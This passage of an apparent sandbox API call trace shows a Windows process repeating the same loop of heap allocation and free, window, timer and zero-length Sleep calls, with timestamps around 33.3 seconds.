hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.305] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.305] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.305] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.305] timeGetTime () returned 0x1143591 [0033.305] Sleep (dwMilliseconds=0x0) [0033.305] GetProcessHeap () returned 0x790000 [0033.305] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.305] GetProcessHeap () returned 0x790000 [0033.305] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.305] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.305] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.305] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.305] timeGetTime () returned 0x1143591 [0033.305] Sleep (dwMilliseconds=0x0) [0033.305] GetProcessHeap () returned 0x790000 [0033.305] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.305] GetProcessHeap () returned 0x790000 [0033.305] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.305] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.305] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.305] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.305] timeGetTime () returned 0x1143591 [0033.305] Sleep (dwMilliseconds=0x0) [0033.305] GetProcessHeap () returned 0x790000 [0033.305] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.305] GetProcessHeap () returned 0x790000 [0033.305] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.305] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.305] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.305] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.305] timeGetTime () returned 0x1143591 [0033.305] Sleep (dwMilliseconds=0x0) [0033.306] GetProcessHeap () returned 0x790000 [0033.306] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.306] GetProcessHeap () returned 0x790000 [0033.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.306] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.306] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.306] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.306] timeGetTime () returned 0x1143591 [0033.306] Sleep (dwMilliseconds=0x0) [0033.306] GetProcessHeap () returned 0x790000 [0033.306] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.306] GetProcessHeap () returned 0x790000 [0033.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.306] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.306] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.306] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.306] timeGetTime () returned 0x1143591 [0033.306] Sleep (dwMilliseconds=0x0) [0033.306] GetProcessHeap () returned 0x790000 [0033.306] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.306] GetProcessHeap () returned 0x790000 [0033.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.306] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.306] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.306] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.306] timeGetTime () returned 0x1143591 [0033.306] Sleep (dwMilliseconds=0x0) [0033.306] GetProcessHeap () returned 0x790000 [0033.306] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.306] GetProcessHeap () returned 0x790000 [0033.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.306] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.306] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.306] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.306] timeGetTime () returned 0x1143591 [0033.306] Sleep (dwMilliseconds=0x0) [0033.307] GetProcessHeap () returned 0x790000 [0033.307] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.307] GetProcessHeap () returned 0x790000 [0033.307] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.307] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.307] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.307] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.307] timeGetTime () returned 0x1143591 [0033.307] Sleep (dwMilliseconds=0x0) [0033.307] GetProcessHeap () returned 0x790000 [0033.307] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.307] GetProcessHeap () returned 0x790000 [0033.307] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.307] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.307] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.307] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.307] timeGetTime () returned 0x1143591 [0033.307] Sleep (dwMilliseconds=0x0) [0033.307] GetProcessHeap () returned 0x790000 [0033.307] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.307] GetProcessHeap () returned 0x790000 [0033.307] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.307] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.307] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.307] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.307] timeGetTime () returned 0x1143591 [0033.307] Sleep (dwMilliseconds=0x0) [0033.307] GetProcessHeap () returned 0x790000 [0033.307] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.307] GetProcessHeap () returned 0x790000 [0033.307] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.307] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.307] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.307] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.307] timeGetTime () returned 0x1143591 [0033.307] Sleep (dwMilliseconds=0x0) [0033.307] GetProcessHeap () returned 0x790000 [0033.308] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.308] GetProcessHeap () returned 0x790000 [0033.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.308] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.308] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.308] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.308] timeGetTime () returned 0x1143591 [0033.308] Sleep (dwMilliseconds=0x0) [0033.308] GetProcessHeap () returned 0x790000 [0033.308] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.308] GetProcessHeap () returned 0x790000 [0033.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.308] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.308] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.308] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.308] timeGetTime () returned 0x1143591 [0033.308] Sleep (dwMilliseconds=0x0) [0033.308] GetProcessHeap () returned 0x790000 [0033.308] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.308] GetProcessHeap () returned 0x790000 [0033.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.308] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.308] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.308] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.308] timeGetTime () returned 0x1143591 [0033.308] Sleep (dwMilliseconds=0x0) [0033.308] GetProcessHeap () returned 0x790000 [0033.308] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.308] GetProcessHeap () returned 0x790000 [0033.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.308] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.308] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.308] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.308] timeGetTime () returned 0x1143591 [0033.308] Sleep (dwMilliseconds=0x0) [0033.308] GetProcessHeap () returned 0x790000 [0033.308] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.309] GetProcessHeap () returned 0x790000 [0033.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.309] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.309] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.309] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.309] timeGetTime () returned 0x1143591 [0033.309] Sleep (dwMilliseconds=0x0) [0033.309] GetProcessHeap () returned 0x790000 [0033.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.309] GetProcessHeap () returned 0x790000 [0033.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.309] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.309] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.309] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.309] timeGetTime () returned 0x1143591 [0033.309] Sleep (dwMilliseconds=0x0) [0033.309] GetProcessHeap () returned 0x790000 [0033.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.309] GetProcessHeap () returned 0x790000 [0033.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.309] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.309] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.309] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.309] timeGetTime () returned 0x1143591 [0033.309] Sleep (dwMilliseconds=0x0) [0033.309] GetProcessHeap () returned 0x790000 [0033.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.309] GetProcessHeap () returned 0x790000 [0033.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.309] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.309] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.309] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.309] timeGetTime () returned 0x1143591 [0033.309] Sleep (dwMilliseconds=0x0) [0033.309] GetProcessHeap () returned 0x790000 [0033.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.310] GetProcessHeap () returned 0x790000 [0033.310] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.310] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.310] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.310] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.310] timeGetTime () returned 0x1143591 [0033.310] Sleep (dwMilliseconds=0x0) [0033.310] GetProcessHeap () returned 0x790000 [0033.310] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.310] GetProcessHeap () returned 0x790000 [0033.310] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.310] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.310] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.310] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.310] timeGetTime () returned 0x11435a1 [0033.310] Sleep (dwMilliseconds=0x0) [0033.310] GetProcessHeap () returned 0x790000 [0033.310] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.310] GetProcessHeap () returned 0x790000 [0033.310] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.310] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.310] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.310] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.311] timeGetTime () returned 0x11435a1 [0033.311] Sleep (dwMilliseconds=0x0) [0033.311] GetProcessHeap () returned 0x790000 [0033.311] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.311] GetProcessHeap () returned 0x790000 [0033.311] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.311] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.311] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.311] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.311] timeGetTime () returned 0x11435a1 [0033.311] Sleep (dwMilliseconds=0x0) [0033.311] GetProcessHeap () returned 0x790000 [0033.311] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.311] GetProcessHeap () returned 0x790000 [0033.311] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.311] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.311] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.311] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.311] timeGetTime () returned 0x11435a1 [0033.311] Sleep (dwMilliseconds=0x0) [0033.311] GetProcessHeap () returned 0x790000 [0033.311] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.311] GetProcessHeap () returned 0x790000 [0033.311] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.311] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.311] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.311] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.311] timeGetTime () returned 0x11435a1 [0033.311] Sleep (dwMilliseconds=0x0) [0033.311] GetProcessHeap () returned 0x790000 [0033.311] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.311] GetProcessHeap () returned 0x790000 [0033.311] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.311] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.311] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.311] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.312] timeGetTime () returned 0x11435a1 [0033.312] Sleep (dwMilliseconds=0x0) [0033.312] GetProcessHeap () returned 0x790000 [0033.312] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.312] GetProcessHeap () returned 0x790000 [0033.312] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.312] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.312] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.312] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.312] timeGetTime () returned 0x11435a1 [0033.312] Sleep (dwMilliseconds=0x0) [0033.312] GetProcessHeap () returned 0x790000 [0033.312] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.312] GetProcessHeap () returned 0x790000 [0033.312] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.312] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.312] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.312] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.312] timeGetTime () returned 0x11435a1 [0033.312] Sleep (dwMilliseconds=0x0) [0033.312] GetProcessHeap () returned 0x790000 [0033.312] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.312] GetProcessHeap () returned 0x790000 [0033.312] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.312] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.312] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.312] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.312] timeGetTime () returned 0x11435a1 [0033.312] Sleep (dwMilliseconds=0x0) [0033.312] GetProcessHeap () returned 0x790000 [0033.312] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.312] GetProcessHeap () returned 0x790000 [0033.312] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.312] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.312] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.312] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.312] timeGetTime () returned 0x11435a1 [0033.313] Sleep (dwMilliseconds=0x0) [0033.313] GetProcessHeap () returned 0x790000 [0033.313] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.313] GetProcessHeap () returned 0x790000 [0033.313] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.313] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.313] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.313] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.313] timeGetTime () returned 0x11435a1 [0033.313] Sleep (dwMilliseconds=0x0) [0033.313] GetProcessHeap () returned 0x790000 [0033.313] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.313] GetProcessHeap () returned 0x790000 [0033.313] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.313] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.313] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.313] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.313] timeGetTime () returned 0x11435a1 [0033.313] Sleep (dwMilliseconds=0x0) [0033.313] GetProcessHeap () returned 0x790000 [0033.313] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.313] GetProcessHeap () returned 0x790000 [0033.313] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.313] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.313] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.313] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.313] timeGetTime () returned 0x11435a1 [0033.313] Sleep (dwMilliseconds=0x0) [0033.313] GetProcessHeap () returned 0x790000 [0033.313] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.313] GetProcessHeap () returned 0x790000 [0033.313] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.313] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.313] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.313] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.313] timeGetTime () returned 0x11435a1 [0033.314] Sleep (dwMilliseconds=0x0) [0033.314] GetProcessHeap () returned 0x790000 [0033.314] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.314] GetProcessHeap () returned 0x790000 [0033.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.314] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.314] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.314] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.314] timeGetTime () returned 0x11435a1 [0033.314] Sleep (dwMilliseconds=0x0) [0033.314] GetProcessHeap () returned 0x790000 [0033.314] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.314] GetProcessHeap () returned 0x790000 [0033.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.314] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.314] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.314] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.314] timeGetTime () returned 0x11435a1 [0033.314] Sleep (dwMilliseconds=0x0) [0033.314] GetProcessHeap () returned 0x790000 [0033.314] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.314] GetProcessHeap () returned 0x790000 [0033.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.314] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.314] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.314] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.314] timeGetTime () returned 0x11435a1 [0033.314] Sleep (dwMilliseconds=0x0) [0033.314] GetProcessHeap () returned 0x790000 [0033.314] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.314] GetProcessHeap () returned 0x790000 [0033.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.314] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.314] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.314] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.314] timeGetTime () returned 0x11435a1 [0033.315] Sleep (dwMilliseconds=0x0) [0033.315] GetProcessHeap () returned 0x790000 [0033.315] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.315] GetProcessHeap () returned 0x790000 [0033.315] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.315] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.315] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.315] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.315] timeGetTime () returned 0x11435a1 [0033.315] Sleep (dwMilliseconds=0x0) [0033.315] GetProcessHeap () returned 0x790000 [0033.315] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.315] GetProcessHeap () returned 0x790000 [0033.315] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.315] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.315] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.315] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.315] timeGetTime () returned 0x11435a1 [0033.315] Sleep (dwMilliseconds=0x0) [0033.315] GetProcessHeap () returned 0x790000 [0033.315] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.315] GetProcessHeap () returned 0x790000 [0033.315] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.315] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.315] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.315] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.315] timeGetTime () returned 0x11435a1 [0033.315] Sleep (dwMilliseconds=0x0) [0033.315] GetProcessHeap () returned 0x790000 [0033.315] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.315] GetProcessHeap () returned 0x790000 [0033.315] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.315] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.315] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.315] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.315] timeGetTime () returned 0x11435a1 [0033.315] Sleep (dwMilliseconds=0x0) [0033.316] GetProcessHeap () returned 0x790000 [0033.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.316] GetProcessHeap () returned 0x790000 [0033.316] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.316] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.316] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.316] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.316] timeGetTime () returned 0x11435a1 [0033.316] Sleep (dwMilliseconds=0x0) [0033.316] GetProcessHeap () returned 0x790000 [0033.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.316] GetProcessHeap () returned 0x790000 [0033.316] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.316] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.316] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.316] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.316] timeGetTime () returned 0x11435a1 [0033.316] Sleep (dwMilliseconds=0x0) [0033.316] GetProcessHeap () returned 0x790000 [0033.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.316] GetProcessHeap () returned 0x790000 [0033.316] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.316] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.316] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.316] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.316] timeGetTime () returned 0x11435a1 [0033.316] Sleep (dwMilliseconds=0x0) [0033.316] GetProcessHeap () returned 0x790000 [0033.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.316] GetProcessHeap () returned 0x790000 [0033.316] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.316] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.316] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.316] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.316] timeGetTime () returned 0x11435a1 [0033.316] Sleep (dwMilliseconds=0x0) [0033.317] GetProcessHeap () returned 0x790000 [0033.317] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.317] GetProcessHeap () returned 0x790000 [0033.317] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.317] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.317] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.317] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.317] timeGetTime () returned 0x11435a1 [0033.317] Sleep (dwMilliseconds=0x0) [0033.317] GetProcessHeap () returned 0x790000 [0033.317] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.317] GetProcessHeap () returned 0x790000 [0033.317] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: 